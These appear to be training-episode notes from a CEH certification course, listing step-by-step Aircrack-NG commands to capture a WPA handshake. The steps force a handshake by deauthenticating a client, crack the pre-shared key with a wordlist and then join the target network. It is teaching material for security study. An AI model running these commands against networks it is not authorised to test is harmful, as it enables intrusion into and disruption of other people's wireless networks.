- Filename: eccouncil-ceh31250-v10-16-5-1-wireless_hacking_cracking_wpa.md
- Show Name: CEHv10 (312-50)
- Topic Name: Attacks and Exploits
- Episode Name: Wireless Hacking: Cracking WPA/WPA2
- Description: In this episode, Daniel and Zach take you through the process of cracking WPA encrypted wireless networks using the Aircrack-NG suite of wireless hacking tools.

==========

Wireless Hacking: Cracking WPA/WPA2

- **Zach question**
    - Put wireless card into monitoring mode
        - `airmon-ng -start wlan0`
    - Find BSSID of target AP
        - `airodump-ng wlan0mon`
        - Record BSSID and channel of Target AP
    - Monitor target AP
        - `airodump-ng -c 6 --bssid 00:1C:DF:89:84:9F -w /root/wpacrack/ceh.cap wlan0mon`
            - `-c` = channel number
            - `-w` = write out file location
    - Wait for 4-way handshake or force with `aireplay-ng`
        - Force 4-way handshake
            - `aireplay-ng -0 2 -a 00:1C:DF:89:84:9F -c <clientMAC> wlan0mon`
                - Check the `airodump-ng` capture for 4-way handshake
    - Time to crack the WPA key
        - `aircrack-ng -a2 -b 00:1C:DF:89:84:9F -w /usr/share/wordlists/rockyou.txt /root/wpacrack/*.cap`
            - Record the cracked PSK
    - Return wireless device to normal operation
        - `airmon-ng stop wlan0mon`
        - `service networkmanager start`
    - Attempt to connect to Target AP with cracked PSK
    - Have a Coke and a smile :)